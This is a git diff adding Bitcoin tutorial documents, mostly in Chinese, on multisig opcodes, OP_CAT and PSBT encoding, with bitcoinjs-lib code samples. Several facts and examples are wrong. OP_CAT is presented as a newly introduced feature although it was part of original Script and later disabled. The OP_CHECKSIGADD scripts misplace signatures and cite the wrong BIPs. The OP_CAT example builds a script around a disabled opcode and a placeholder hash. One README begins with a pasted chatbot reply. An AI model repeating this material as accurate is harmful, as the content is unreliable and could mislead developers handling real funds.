+   - **Description**: Pops n public keys and m signatures from the stack, checks if at least m signatures are valid. Returns true if valid, false otherwise.
+   - **Example**:
+     ```
+     <m> <PubKey A> <PubKey B> <PubKey C> <n> OP_CHECKMULTISIG
+     ```
+     where `<m>` is minimum required signatures, `<n>` is number of provided public keys.
+
+2. **OP_CHECKMULTISIGVERIFY**
+   - **Function**: Similar to OP_CHECKMULTISIG but terminates execution and returns error on verification failure.
+   - **Description**: Works same as OP_CHECKMULTISIG, but script immediately fails if check fails.
+   - **Example**:
+     ```
+     <m> <PubKey A> <PubKey B> <PubKey C> <n> OP_CHECKMULTISIGVERIFY
+     ```
+
+3. **OP_CHECKSIGADD**
+   - **Function**: Used for efficient multi-signature verification in Taproot and Schnorr signature schemes.
+   - **Description**: Takes a public key and signature from stack, verifies signature validity, adds result to counter indicating total valid signatures.
+   - **Example**:
+     ```
+     <PubKey A> <Sig A> OP_CHECKSIGADD
+     <PubKey B> <Sig B> OP_CHECKSIGADD
+     <PubKey C> <Sig C> OP_CHECKSIGADD
+     <2> OP_EQUAL
+     ```
+
+### Script Examples
+
+#### P2SH (Pay-to-Script-Hash) Multi-sig Transaction
+1. **Create Redeem Script**:
+   ```
+   <2> <PubKey A> <PubKey B> <PubKey C> <3> OP_CHECKMULTISIG
+   ```
+
+2. **Generate P2SH Address**:
+   - Use hash of redeem script as P2SH address for receiving bitcoins.
+
+3. **Spend P2SH Multi-sig Transaction**:
+   - Unlocking Script:
+     ```
+     <0> <Sig1> <Sig2> <Redeem Script>
+     ```
+
+#### Taproot Multi-sig Script
+```
+<PubKey A> <Sig A> OP_CHECKSIGADD
+<PubKey B> <Sig B> OP_CHECKSIGADD
+<PubKey C> <Sig C> OP_CHECKSIGADD
+<2> OP_EQUAL
+```
+
+### OPCode Comparison
+
+| OPCode | Function | Description | Advantages | Disadvantages | Script Types | BIP Number | Example |
+|--------|----------|-------------|------------|---------------|--------------|------------|---------|
+| **OP_CHECKMULTISIG** | Multi-sig verification | Verifies m-of-n signatures | Widely supported | Larger scripts, requires dummy value | P2SH, P2WSH | BIP 11, 16 | `<2> <PubKey A> <PubKey B> <PubKey C> <3> OP_CHECKMULTISIG` |
+| **OP_CHECKMULTISIGVERIFY** | Multi-sig verify with error | Like OP_CHECKMULTISIG with immediate failure | Simplified error handling | Requires dummy value | P2SH, P2WSH | BIP 11, 16 | `<2> <PubKey A> <PubKey B> <PubKey C> <3> OP_CHECKMULTISIGVERIFY` |
+| **OP_CHECKSIGADD** | Efficient multi-sig | Incremental signature verification | More efficient, smaller transactions | Only for Taproot | Taproot | BIP 340, 341 | `<PubKey A> <Sig A> OP_CHECKSIGADD...` |
+
+### Summary
+These OPCodes provide various ways to implement multi-signatures in the Bitcoin network. OP_CHECKMULTISIG and OP_CHECKMULTISIGVERIFY are traditional implementations, while OP_CHECKSIGADD is a more efficient and flexible implementation introduced with Taproot and Schnorr signatures. Together, these technologies enhance Bitcoin transaction security and flexibility, meeting requirements for different use cases.
diff --git a/BTC/Advanced/Multisign/README.md b/BTC/Advanced/Multisign/README.md
new file mode 100644
index 000000000..e346c0d80
--- /dev/null
+++ b/BTC/Advanced/Multisign/README.md
@@ -0,0 +1,117 @@
+## 多签介绍
+在比特币 (BTC) 网络中，多签名 (Multi-Signature 或 Multi-Sig) 是一种安全性增强技术，它要求多个密钥签名才能执行一笔交易。具体来说，多签机制允许用户创建一个钱包地址，只有在满足一定数量的签名条件下，才能使用钱包中的资金。多签名技术可以用于提高安全性、实现分布式控制和管理资金等用途。
+
+### 多签名的工作原理
+1. **创建多签地址**：
+   - 多签地址通常是由多个参与者的公钥共同生成的。
+   - 比如，一个 2-of-3 的多签地址意味着需要三个公钥，并且至少需要其中两个公钥对应的私钥来签名交易。
+
+2. **构造交易**：
+   - 当需要使用多签地址中的比特币时，必须构造一个包含所有必要签名的交易。
+   - 比如，对于 2-of-3 的多签地址，至少需要两个参与者的签名才能执行交易。
+
+3. **广播交易**：
+   - 完整签名的交易可以广播到比特币网络，并由矿工进行验证和打包。
+
+### 多签名的应用场景
+1. **提高安全性**：
+   - 单一私钥被盗将无法转移资金，必须多个私钥同时被盗才能实现恶意交易。
+   
+2. **分布式控制**：
+   - 可以用于多方共同控制资金，比如公司资金的多方管理，防止单人滥用资金。
+   
+3. **智能合约和去中心化应用**：
+   - 多签名可以作为简单的智能合约机制，支持更加复杂的交易条件和逻辑。
+
+### 示例
+一个简单的 2-of-3 多签交易流程可能如下：
+1. 生成三个公私钥对（用户A、用户B、用户C）。
+2. 使用三个公钥生成一个 2-of-3 的多签地址。
+3. 将比特币转入这个多签地址。
+4. 当需要转出比特币时，用户A和用户B（或者用户A和用户C，或者用户B和用户C）共同签名交易。
+5. 交易广播到网络并等待确认。
+
+
+## 多签验证的OPCode
+在比特币网络中，多签名（Multi-Signature，简称多签）是一种提高安全性和灵活性的技术，允许在执行交易时需要多个签名。为了实现多签名，比特币脚本（Bitcoin Script）提供了几个关键的操作码（OPCode）。以下是与多签名相关的主要 OPCode 及其功能：
+
+### 主要的多签名 OPCode
+
+1. **OP_CHECKMULTISIG**
+   - **功能**：验证多签名交易。
+   - **描述**：从堆栈中弹出 n 个公钥和 m 个签名，检查是否有至少 m 个签名有效。如果有效，则返回 true，否则返回 false。
+   - **示例**：
+     ```
+     <m> <A公钥> <B公钥> <C公钥> <n> OP_CHECKMULTISIG
+     ```
+     其中，`<m>` 是需要的最小签名数，`<n>` 是提供的公钥数量。
+
+2. **OP_CHECKMULTISIGVERIFY**
+   - **功能**：与 OP_CHECKMULTISIG 类似，但在验证失败时终止执行并返回错误。
+   - **描述**：与 OP_CHECKMULTISIG 的工作原理相同，只是如果检查失败，脚本将立即失败。
+   - **示例**：
+     ```
+     <m> <A公钥> <B公钥> <C公钥> <n> OP_CHECKMULTISIGVERIFY
+     ```
+
+3. **OP_CHECKSIGADD**
+   - **功能**：用于在 Taproot 和 Schnorr 签名方案中实现高效的多签名验证。
+   - **描述**：从堆栈中取出一个公钥和一个签名，验证该签名是否有效，并将结果添加到一个计数器中。计数器表示有效签名的总数。
+   - **示例**：
+     ```
+     <A公钥> <签名A> OP_CHECKSIGADD
+     <B公钥> <签名B> OP_CHECKSIGADD
+     <C公钥> <签名C> OP_CHECKSIGADD
+     <2> OP_EQUAL
+     ```
+     - `<A公钥> <签名A> OP_CHECKSIGADD`：验证签名A是否匹配A公钥并将结果加到计数器。
+     - `<B公钥> <签名B> OP_CHECKSIGADD`：验证签名B是否匹配B公钥并将结果加到计数器。
+     - `<C公钥> <签名C> OP_CHECKSIGADD`：验证签名C是否匹配C公钥并将结果加到计数器。
+     - `<2> OP_EQUAL`：检查计数器是否等于2，即验证是否有两个有效签名。
+
+### 示例脚本
+
+#### P2SH（Pay-to-Script-Hash）多签名交易
+1. **创建赎回脚本（Redeem Script）**：
+   ```
+   <2> <A公钥> <B公钥> <C公钥> <3> OP_CHECKMULTISIG
+   ```
+   - `<2>`：至少需要两个签名。
+   - `<A公钥> <B公钥> <C公钥>`：三个公钥。
+   - `<3>`：表示共有三个公钥。
+
+2. **生成 P2SH 地址**：
+   - 将上述赎回脚本的哈希值作为 P2SH 地址，将比特币发送到该地址。
+
+3. **花费 P2SH 多签名交易**：
+   - 解锁脚本（Unlocking Script）：
+     ```
+     <0> <签名1> <签名2> <赎回脚本>
+     ```
+     - `<0>`：因为 OP_CHECKMULTISIG 有一个历史遗留的 bug，需要额外的空值。
+     - `<签名1> <签名2>`：两个有效签名。
+     - `<赎回脚本>`：实际的赎回脚本，证明这是正确的解锁条件。
+
+#### Taproot 多签名脚本
+1. **赎回脚本（Taproot Script）**：
+   ```
+   <A公钥> <签名A> OP_CHECKSIGADD
+   <B公钥> <签名B> OP_CHECKSIGADD
+   <C公钥> <签名C> OP_CHECKSIGADD
+   <2> OP_EQUAL
+   ```
+
+### 操作码对比
+对比比特币多签名相关的主要 OPCode，包括功能、描述、优点、缺点、使用的脚本类型、推出的 BIP 编号及示例：
+
+| OPCode                   | 功能                      | 描述                                                                                                                | 优点                                                              | 缺点                                                                    | 使用的脚本类型               | 推出的 BIP 编号 | 示例                                                                                                           |
+|--------------------------|---------------------------|---------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------|-------------------------------------------------------------------------|--------------------------------|------------------|---------------------------------------------------------------------------------------------------------------|
+| **[OP_CHECKMULTISIG](./OP_CHECKMULTISIG/README.md)**     | 验证多签名交易            | 从堆栈中弹出 n 个公钥和 m 个签名，检查是否有至少 m 个签名有效。如果有效，则返回 true，否则返回 false。            | 适用于传统多签名交易，广泛支持                                     | 脚本较大，存在历史遗留的 bug 需要额外的空值                             | P2SH, P2WSH                    | BIP 11, BIP 16   | `<2> <A公钥> <B公钥> <C公钥> <3> OP_CHECKMULTISIG`                                                            |
+| **[OP_CHECKMULTISIGVERIFY](./OP_CHECKMULTISIGVERIFY/README.md)** | 验证多签名并返回错误     | 与 OP_CHECKMULTISIG 类似，但在验证失败时终止执行并返回错误。                                                        | 简化了错误处理逻辑                                                | 同样存在历史遗留的 bug 需要额外的空值                                   | P2SH, P2WSH                    | BIP 11, BIP 16   | `<2> <A公钥> <B公钥> <C公钥> <3> OP_CHECKMULTISIGVERIFY`                                                      |
+| **[OP_CHECKSIGADD](./OP_CHECKSIGADD/README.md)**       | 高效验证多签名            | 从堆栈中取出一个公钥和一个签名，验证该签名是否有效，并将结果添加到一个计数器中。计数器表示有效签名的总数。         | 更高效，简化了多签名脚本，减少交易大小和费用                      | 仅在 Taproot 和 Schnorr 签名方案中可用                                   | Taproot                         | BIP 340, BIP 341 | `<A公钥> <签名A> OP_CHECKSIGADD<br><B公钥> <签名B> OP_CHECKSIGADD<br><C公钥> <签名C> OP_CHECKSIGADD<br><2> OP_EQUAL` |
+
+
+
+### 总结
+通过这些操作码，比特币网络提供了多种实现多签名的方式。`OP_CHECKMULTISIG` 和 `OP_CHECKMULTISIGVERIFY` 是传统的多签名实现方式，而 `OP_CHECKSIGADD` 则是引入 Taproot 和 Schnorr 签名后，更高效和灵活的实现方式。这些技术共同提升了比特币交易的安全性和灵活性，满足了不同应用场景的需求。
+
diff --git a/BTC/Advanced/OP_CAT/README.md b/BTC/Advanced/OP_CAT/README.md
new file mode 100644
index 000000000..18f6288e0
--- /dev/null
+++ b/BTC/Advanced/OP_CAT/README.md
@@ -0,0 +1,46 @@
+`OP_CAT` 是比特币脚本中的一个操作码（opcode），它用于将两个或多个元素连接在一起。这一功能在比特币的原生脚本语言中并不存在，因此 `OP_CAT` 的引入是为了增强比特币脚本的灵活性和功能，特别是在智能合约和复杂交易的应用场景中。
+
+### `OP_CAT` 的背景和用途
+
+1. **操作码（Opcode）概述**：
+   - 比特币的脚本语言是栈式的，操作码是脚本的基本组成部分。每个操作码执行特定的功能，如加法、签名验证和数据操作等。
+   - `OP_CAT` 用于将两个栈顶元素连接（concatenate）成一个更大的元素。这对于构建复杂数据结构和处理更复杂的脚本逻辑非常有用。
+
+2. **为何需要 `OP_CAT`**：
+   - 在比特币早期的脚本语言中，没有直接的连接字符串或数据的功能。这限制了某些智能合约和复杂交易的实现。
+   - 引入 `OP_CAT` 使得开发者能够更灵活地操作和组合数据，增强了比特币脚本的表达能力。
+
+### `OP_CAT` 的功能
+
+- **连接功能**：`OP_CAT` 将两个元素从栈中取出，并将它们连接成一个新的元素。举例来说，如果栈顶的元素是字符串 "Hello" 和 "World"，执行 `OP_CAT` 后，栈顶元素将变成 "HelloWorld"。
+- **应用场景**：
+  - **智能合约**：在构建智能合约时，可以利用 `OP_CAT` 组合数据，形成更复杂的数据结构。
+  - **多签名交易**：在多签名场景中，可以将多个公钥或签名连接在一起，以便在验证时进行处理。
+  - **数据打包**：当需要将多个输入数据合并成一个输出时，`OP_CAT` 是一个重要工具。
+
+### 示例
+
+假设我们有两个元素在栈中，分别为 "Data1" 和 "Data2"。使用 `OP_CAT` 的过程如下：
+
+1. **栈状态**：
+   ```
+   Top -> Data2
+         Data1
+   ```
+
+2. **执行 `OP_CAT`**：
+   - 栈顶的两个元素 "Data1" 和 "Data2" 被取出，并连接在一起。
+
+3. **结果栈状态**：
+   ```
+   Top -> Data1Data2
+   ```
+
+### 安全性和实现
+
+- **安全性**：虽然 `OP_CAT` 增强了脚本的灵活性，但也可能引入一些复杂性。合约的开发者需要确保合约逻辑的安全性和正确性，避免潜在的漏洞。
+- **实现**：`OP_CAT` 的实现需要对比特币的脚本引擎进行修改，因此需要在比特币核心代码中进行添加和测试，确保它与现有的操作码兼容。
+
+### 结论
+
+`OP_CAT` 的引入为比特币的脚本语言增加了重要的功能，使得在智能合约和复杂交易的开发中可以更灵活地处理数据。尽管比特币的脚本设计注重安全性和简单性，但通过引入 `OP_CAT`，开发者能够实现更丰富的逻辑和应用场景。随着比特币生态系统的发展，像 `OP_CAT` 这样的操作码可能会变得越来越重要。
\ No newline at end of file
diff --git a/BTC/Advanced/OP_CAT/example/README.md b/BTC/Advanced/OP_CAT/example/README.md
new file mode 100644
index 000000000..2cc2548f7
--- /dev/null
+++ b/BTC/Advanced/OP_CAT/example/README.md
@@ -0,0 +1,60 @@
+你是对的，我在之前的示例中没有明确给出与 `OP_EQUAL` 验证的内容。在比特币脚本中，`OP_EQUAL` 用于验证栈顶两个元素是否相等。因此，我们需要在脚本中明确指定连接后的结果，并与这个结果进行比较。
+
+### 完整示例
+
+下面是一个更新后的示例，展示如何使用 `OP_CAT` 实现智能合约，并在脚本中验证连接后的结果是否等于 "HelloWorld"：
+
+```javascript
+const bitcoin = require('bitcoinjs-lib');
+
+// 创建一个包含 OP_CAT 的脚本
+function createScript() {
+    // 连接的目标结果
+    const target = Buffer.from('HelloWorld');
+
+    const script = bitcoin.script.compile([
+        bitcoin.opcodes.OP_DUP,
+        bitcoin.opcodes.OP_HASH160,
+        Buffer.from('...'), // 使用适当的公钥哈希
+        bitcoin.opcodes.OP_EQUALVERIFY,
+        bitcoin.opcodes.OP_CHECKSIG,
+        // 连接两个字符串
+        Buffer.from('Hello'), // 第一个元素
+        Buffer.from('World'),  // 第二个元素
+        bitcoin.opcodes.OP_CAT, // 连接操作
+        target, // 连接后的目标结果
+        bitcoin.opcodes.OP_EQUAL // 验证连接结果是否等于 'HelloWorld'
+    ]);
+
+    return script;
+}
+
+// 创建和打印 P2SH 地址
+function createP2SHAddress() {
+    const script = createScript();
+    const { address } = bitcoin.payments.p2sh({ redeem: { output: script, network: bitcoin.networks.bitcoin } });
+
+    console.log('P2SH Address:', address);
+}
+
+createP2SHAddress();
+```
+
+### 代码解析
+
+1. **连接后的目标结果**：
+   - 我们定义了一个 `target` 变量，表示连接后的目标结果 `HelloWorld`。在脚本中，我们将这个目标结果与连接后的结果进行比较。
+
+2. **脚本逻辑**：
+   - `OP_CAT` 将 `Buffer.from('Hello')` 和 `Buffer.from('World')` 连接起来，结果是 `HelloWorld`。
+   - 然后，`target`（即 `HelloWorld`）被推入栈中。
+   - 最后，`OP_EQUAL` 用于检查连接的结果是否与 `target` 相等。
+
+### 注意事项
+
+- **脚本验证**：在比特币的环境中，脚本通常是在执行交易时被验证。因此，这段脚本需要在合适的环境中进行测试。
+- **公钥哈希**：在实际应用中，`Buffer.from('...')` 应替换为实际的公钥哈希。
+
+### 结论
+
+现在这个脚本清楚地验证了连接后的结果是否与预期值 `HelloWorld` 相等。这种方式展示了如何在比特币脚本中使用 `OP_CAT` 进行数据连接和验证。虽然比特币的脚本语言有一定的限制，但通过合理组合操作码，依然可以实现复杂的逻辑。
\ No newline at end of file
diff --git a/BTC/Advanced/OP_CAT/example/index.js b/BTC/Advanced/OP_CAT/example/index.js
new file mode 100644
index 000000000..cfcdac613
--- /dev/null
+++ b/BTC/Advanced/OP_CAT/example/index.js
@@ -0,0 +1,33 @@
+const bitcoin = require('bitcoinjs-lib');
+
+// 创建一个包含 OP_CAT 的脚本
+function createScript() {
+  // 连接的目标结果
+  const target = Buffer.from('HelloWorld');
+
+  const script = bitcoin.script.compile([
+    bitcoin.opcodes.OP_DUP,
+    bitcoin.opcodes.OP_HASH160,
+    Buffer.from('...'), // 使用适当的公钥哈希
+    bitcoin.opcodes.OP_EQUALVERIFY,
+    bitcoin.opcodes.OP_CHECKSIG,
+    // 连接两个字符串
+    Buffer.from('Hello'), // 第一个元素
+    Buffer.from('World'), // 第二个元素
+    bitcoin.opcodes.OP_CAT, // 连接操作，必须在两个字符串之后
+    target, // 连接后的目标结果
+    bitcoin.opcodes.OP_EQUAL, // 验证连接结果是否等于 'HelloWorld'
+  ]);
+
+  return script;
+}
+
+// 创建和打印 P2SH 地址
+function createP2SHAddress() {
+  const script = createScript();
+  const { address } = bitcoin.payments.p2sh({ redeem: { output: script, network: bitcoin.networks.bitcoin } });
+
+  console.log('P2SH Address:', address);
+}
+
+createP2SHAddress();
diff --git a/BTC/Advanced/Psbt/README.md b/BTC/Advanced/Psbt/README.md
new file mode 100644
index 000000000..c23c20677
--- /dev/null
+++ b/BTC/Advanced/Psbt/README.md
@@ -0,0 +1,59 @@
+PSBT（Partially Signed Bitcoin Transaction，部分签名比特币交易）是一种交易格式，用于在不同参与者之间安全地传输未完成的交易信息，以便完成签名过程。这种格式主要用于提高比特币交易的灵活性和多方合作的安全性，尤其是在涉及多重签名和复杂的交易结构时。
+
+### PSBT的目的和应用场景
+
+PSBT（Partially Signed Bitcoin Transactions）是一种格式，用于Bitcoin交易的离线或多方签名。这种格式在[BIP 174](https://github.com/bitcoin/bips/blob/master/bip-0174.mediawiki)中被详细定义，该BIP是由Andrew Chow于2017年提出的，PSBT编码和解析参考[PSBT encode](./encode.md)。
+
+在PSBT出现之前，Bitcoin的交易签名过程通常需要交易的所有参与者在线，并能够直接交互以产生完全签名的交易。这在多方需要合作创建一个交易，尤其是在使用硬件钱包或冷存储方案时，会变得复杂和不安全。此外，对于复杂的交易类型（如多重签名或条件交易），简单的交易签名数据结构并不足以容纳所需的全部信息，如前一交易的脚本或其他元数据。
+
+PSBT的设计初衷是解决比特币生态中的一个关键问题：在不共享私钥的情况下，如何在多个参与者之间安全地协作构建和签名交易。它允许每个参与者独立地添加到交易的签名或其他必需信息，而不必暴露自己的私钥给其他人。
+
+主要应用场景包括：
+- **多重签名交易**：多个参与者需要对同一笔交易进行签名。
+- **冷存储和硬件钱包**：安全设备可以在不直接连接到互联网的情况下签名交易。
+- **复杂的交易类型**：涉及时间锁、多步骤执行等特殊条件的交易。
+
+## PSBT的工作原理
+在PSBT（Partially Signed Bitcoin Transaction）的工作流程中，涉及到几个关键的参与者或身份，他们各自负责交易的不同阶段。这些身份通常根据他们在交易签名和构建过程中的角色来定义。以下是PSBT流程中几个主要身份的概述：
+
+### 1. 交易发起者（Creator）
+- **角色**：开始PSBT流程的是交易发起者。他们负责构建交易的初始结构，这包括定义交易的输入和输出。
+- **责任**：交易发起者需要收集并添加所有必要的输入数据（如UTXOs的详细信息）以及输出信息。他们会创建一个PSBT文件，此文件还未包含任何签名。
+
+### 2. 更新者（Updater）
+- **角色**：更新者的任务是添加或更新交易中缺失的信息，这可能包括输入和输出的附加细节。
+- **责任**：更新者确保PSBT包含足够的信息以便所有参与者可以验证交易。例如，他们可能需要添加redeemScript或witnessScript等信息。
+
+### 3. 签名者（Signer）
+- **角色**：签名者是那些用自己的私钥对交易的一个或多个输入进行签名的参与者。
+- **责任**：每个签名者都必须独立验证他们即将签名的交易的有效性和完整性。在确认无误后，签名者将他们的签名添加到PSBT中。
+
+### 4. 合并者（Combiner）
+- **角色**：在多签名或多步骤签名的情况下，合并者负责将来自不同签名者的多个PSBT副本合并成一个包含所有必需签名的单一PSBT。
+- **责任**：合并者需确保所有的签名都正确并被妥善地合并到PSBT中，没有遗漏任何有效签名。
+
+### 5. 最终化者（Finalizer）
+- **角色**：最终化者负责处理交易的最终细节，确保所有的输入都已正确地签名，并将PSBT转换成可以广播的标准比特币交易格式。
+- **责任**：最终化者将完成的签名脚本插入到交易中的相应输入，并移除所有不再需要的临时数据。
+
+### 6. 广播者（Broadcaster）
+- **角色**：一旦PSBT被最终化并转换成一个完整的交易后，广播者负责将其发送到比特币网络。
+- **责任**：广播者需要确保交易被网络接受，并进行监控，直到交易被确认。
+
+## PSBT与普通交易的联系与区别
+
+| 特性           | 普通交易 (Raw Transaction)       | PSBT (Partially Signed Bitcoin Transaction)    |
+|---------------|-----------------------------------|------------------------------------------------|
+| **格式**      | 简单的二进制格式                  | 扩展的二进制格式，包含未签名交易和元数据      |
+| **用途**      | 直接在网络上广播和确认            | 用于离线或多方签名，最终转换为普通交易广播    |
+| **签名**      | 交易中直接包含签名                | 签名被包含在元数据中，允许多步骤和多方签名    |
+| **数据内容**  | 仅包含交易必需的数据              | 包含交易数据外的额外信息，如脚本、公钥等      |
+| **交互性**    | 通常由单一实体完成                | 支持多个实体分别签名后合并                    |
+| **安全性**    | 需要网络连接进行签名              | 可以完全离线签名，提高安全性                  |
+| **兼容性**    | 所有比特币网络节点直接支持        | 需要特定的钱包或工具来创建和解析PSBT          |
+| **处理流程**  | 创建、签名、广播为一体的流程      | 创建、签名可以分开，由不同的参与者在不同时间完成 |
+| **适用场景**  | 简单的个人交易                    | 复杂的交易，如多重签名、企业级应用等          |
+
+
+
+PSBT是一个强大的工具，能够处理复杂的比特币交易，特别是在需要多方合作的情况下。它通过提供一个标准化且安全的方式来协调和合并不同参与者的输入，极大地增强了比特币交易的多样性和安全性。每个角色在PSBT的创建和完成过程中发挥着关键作用，确保交易不仅符合技术规范，同时也达到了预期的安全性标准。
\ No newline at end of file
diff --git a/BTC/Advanced/Psbt/encode.md b/BTC/Advanced/Psbt/encode.md
new file mode 100644
index 000000000..8727e992c
--- /dev/null
+++ b/BTC/Advanced/Psbt/encode.md
@@ -0,0 +1,195 @@
+PSBT（Partially Signed Bitcoin Transaction）的编码和解码是一个关键环节，它允许各种工具和应用以标准格式交换交易信息。PSBT格式设计为可扩展和兼容未来功能，同时确保可以在不同设备和平台间安全地传输和处理交易数据。
+
+### PSBT格式
+
+PSBT的基本格式是一个序列化的数据结构，包含所有必要的信息，使多个参与者能够独立进行交易签名和验证。这个格式遵循一定的编码规则，详细见[BIP174](https://github.com/bitcoin/bips/blob/master/bip-0174.mediawiki)，通常以Base64或十六进制形式进行传输。
+
+**The Partially Signed Bitcoin Transaction (PSBT) format**
+
+```bash
+ # whole structure
+ <psbt> := <magic> <global-map> <input-map>* <output-map>*
+
+ # start with magic number
+ # 0x70 0x73 0x62 0x74 encode of PSBT
+ <magic> := 0x70 0x73 0x62 0x74 0xFF
+ <global-map> := <keypair>* 0x00
+ <input-map> := <keypair>* 0x00
+ <output-map> := <keypair>* 0x00
+
+ # keyPair structure
+ <keypair> := <key> <value>
+
+ # key structure
+ <key> := <keylen> <keytype> <keydata>
+
+ # value structure
+ <value> := <valuelen> <valuedata>
+```
+
+PSBT数据主要分为以下几部分：
+
+1. **全局数据**：包括事务的未签名版本，以及可能的全局元数据，例如原始交易的版本和锁定时间。
+2. **输入数据**：每个输入独立的数据，包括UTXO信息、签名脚本、见证脚本、签名和其他相关信息。
+3. **输出数据**：每个输出独立的数据，如赎回脚本和其他可能的输出信息。
+
+### 编码过程
+
+PSBT的编码过程包括将交易的各个部分转换成可序列化的格式，然后通常使用Base64进行编码以便于传输。具体步骤如下：
+
+1. **创建基础交易**：首先，创建一个标准的Bitcoin交易，指定所需的输入和输出。
+2. **填充PSBT结构**：为每个输入和输出填充必要的信息，如UTXO详情、赎回路径和必要的签名数据。
+3. **序列化数据**：将所有信息序列化为连续的字节流。这包括使用键值对编码各个部分，其中键和值有特定的格式。
+4. **Base64编码**：最后，将序列化的数据编码为Base64字符串，便于在网络上或通过其他方式安全传输。
+
+### 解码过程
+
+解码PSBT是编码过程的逆过程，主要步骤包括：
+
+1. **Base64解码**：首先将接收到的Base64字符串解码回原始的字节流。
+2. **反序列化数据**：解析字节流，根据PSBT的键值对结构恢复出每个部分的数据。
+3. **重建交易信息**：使用解码的数据重建完整的交易视图，包括所有输入和输出的详细信息。
+4. **验证和签名**：在交易数据完全恢复后，参与者可以验证交易的有效性，并在必要时添加自己的签名。
+
+## PSBT 创建
+
+以下是一个使用JavaScript和`bitcoinjs-lib`库来处理PSBT（Partially Signed Bitcoin Transaction）的基本示例。这个例子展示了如何创建一个PSBT，添加输入和输出，进行签名，并最终导出为可以广播的比特币交易。
+
+### 环境设置
+
+首先，你需要确保已经安装了`bitcoinjs-lib`。如果尚未安装，可以通过npm进行安装：
+
+```bash
+npm install bitcoinjs-lib
+```
+
+### 创建和签名PSBT的案例
+
+```javascript
+const bitcoin = require('bitcoinjs-lib');
+
+// 设置网络，这里以比特币测试网为例
+const network = bitcoin.networks.testnet;
+
+// 创建一个新的比特币密钥对
+const keyPair = bitcoin.ECPair.makeRandom({ network: network });
+const { address } = bitcoin.payments.p2pkh({ pubkey: keyPair.publicKey, network: network });
+
+console.log(`New address: ${address}`);
+
+// 创建一个新的PSBT
+let psbt = new bitcoin.Psbt({ network: network });
+
+// 假设这是UTXO的详细信息，你需要从区块链或钱包获取这些信息
+const utxo = {
+  hash: 'transaction-hash-of-utxo-here', // 事务哈希
+  index: 0, // 输出索引
+  value: 100000, // Satoshis
+};
+
+// 添加输入，这里假设UTXO已经知道
+psbt.addInput({
+  hash: utxo.hash,
+  index: utxo.index,
+  nonWitnessUtxo: Buffer.from('raw-transaction-hex-here', 'hex'),
+});
+
+// 添加输出，指定接收地址和金额（satoshis）
+psbt.addOutput({
+  address: 'recipient-address-here',
+  value: 90000, // 减去手续费
+});
+
+// 对PSBT进行签名
+psbt.signInput(0, keyPair);
+
+// 验证签名是否正确
+psbt.validateSignaturesOfInput(0);
+
+// 最终确认PSBT
+psbt.finalizeAllInputs();
+
+// 导出可以广播的交易
+const tx = psbt.extractTransaction().toHex();
+
+console.log(`Transaction ready to be broadcasted: ${tx}`);
+```
+
+### 解释
+
+1. **初始化**：首先创建一个比特币网络的环境，并生成一个新的密钥对和地址。
+2. **创建PSBT**：实例化一个PSBT对象，为添加输入和输出做准备。
+3. **添加输入**：添加一个UTXO作为输入。这通常需要事务的原始数据，这里使用`nonWitnessUtxo`字段传入原始交易的hex字符串。
+4. **添加输出**：添加一个输出，指定收款地址和金额。
+5. **签名**：使用私钥对输入进行签名。
+6. **验证签名**：验证输入的签名是否有效。
+7. **完成PSBT**：完成所有输入，锁定PSBT，使之准备好转换为最终的交易格式。
+8. **导出交易**：将PSBT转换为一个标准的比特币交易，并将其转换为hex格式，准备广播到网络。
+
+## PSBT 解析
+
+要解析PSBT（Partially Signed Bitcoin Transaction）并查看其详细内容，你可以使用`bitcoinjs-lib`库在JavaScript环境中执行这一任务。下面的示例将展示如何读取一个PSBT，解析其内容，以及如何查看关键信息，如输入和输出详情。
+
+### 示例：解析PSBT
+
+```javascript
+const bitcoin = require('bitcoinjs-lib');
+
+// 假设这是一个已经存在的PSBT的Base64编码字符串
+const psbtBase64 =
+  'cHNidP8BAHECAAAAAZtuEiavDmeZR6WUjIhjFbkFh7m+yywCfHlni6uTrgH/////AZD+GwAAAAAAF6kU9BeD5tGIzjL0VzU3+kEUNw+HME3/////8C0wbdQAAAAAAF6kUAAAAAAAAiACATWsYQSE/C85hv5jZVDezl0l4AAAAAAAEBKxAnAAAAAAAAFgAUjVv8Fy0Qdk84W/oBhiMllC+HIHg=';
+
+// 将Base64编码的PSBT解码
+const psbt = bitcoin.Psbt.fromBase64(psbtBase64);
+
+// 遍历PSBT的输入和输出
+psbt.data.inputs.forEach((input, index) => {
+  console.log(`Input ${index}:`);
+  console.log(input);
+});
+
+psbt.data.outputs.forEach((output, index) => {
+  console.log(`Output ${index}:`);
+  console.log(output);
+});
+
+// 如果需要更详细地查看某个特定的输入或输出，可以根据实际需要提取更多信息
+```
+
+### 解释
+
+1. **解码PSBT**：首先使用`bitcoinjs-lib`的`Psbt.fromBase64`方法将Base64编码的PSBT字符串解码成一个PSBT对象。
+2. **遍历输入和输出**：通过访问`psbt.data.inputs`和`psbt.data.outputs`数组，可以查看每个输入和输出的详细信息。这包括UTXO信息、脚本、签名等。
+3. **打印信息**：在控制台打印每个输入和输出的详细信息，这有助于开发者理解和调试PSBT。
+
+## 原生解析
+
+在比特币的PSBT（Partially Signed Bitcoin Transaction）处理中，原生编码和解码是指不使用任何外部库直接操作PSBT格式数据的方法。这通常涉及到直接处理PSBT的二进制表示，理解其结构，并根据规范来手动解析或构建数据。由于PSBT规范的复杂性，这一过程比较繁琐，但非常重要，因为它能提供对PSBT工作原理的深入理解。
+
+### PSBT数据结构
+
+PSBT是一种包含多个键值对的数据结构，每个部分都有其特定的分隔符和格式。其结构大致如下：
+
+1. **全局部分**：包含交易的全局信息，如未签名的交易（除了witness）和其他全局类型的数据。
+2. **输入部分**：每个输入都有自己的键值对集，可能包括非见证UTXO、签名脚本、序列号等。
+3. **输出部分**：每个输出可能包括与之相关的脚本或其他数据。
+
+### 原生编码过程
+
+编码PSBT时，你需要遵循BIP 174（PSBT规范）中定义的格式，将交易的各个部分转换为键值对，并且每个键值对之后跟一个分隔符。具体步骤如下：
+
+1. **开始全局部分**：使用特定的魔术字节（`0x70736274FF`，表示"psbt"加上分隔符）开始。
+2. **编码全局键值对**：例如，将交易版本、交易输入和输出数量等编码为键值对。
+3. **输入部分**：对每个输入，编码所有相关信息（如UTXO、见证数据、部分签名等）为键值对。
+4. **输出部分**：对每个输出，编码所有相关信息（如赎回脚本）为键值对。
+5. **结束**：每个部分结束时都需要一个`0x00`作为分隔符。
+
+### 原生解码过程
+
+解码PSBT时，需要按照编码的相反顺序来操作：
+
+1. **读取并验证魔术字节**：确认PSBT的开始符合规范。
+2. **解析全局键值对**：读取键值对，直到遇到分隔符。
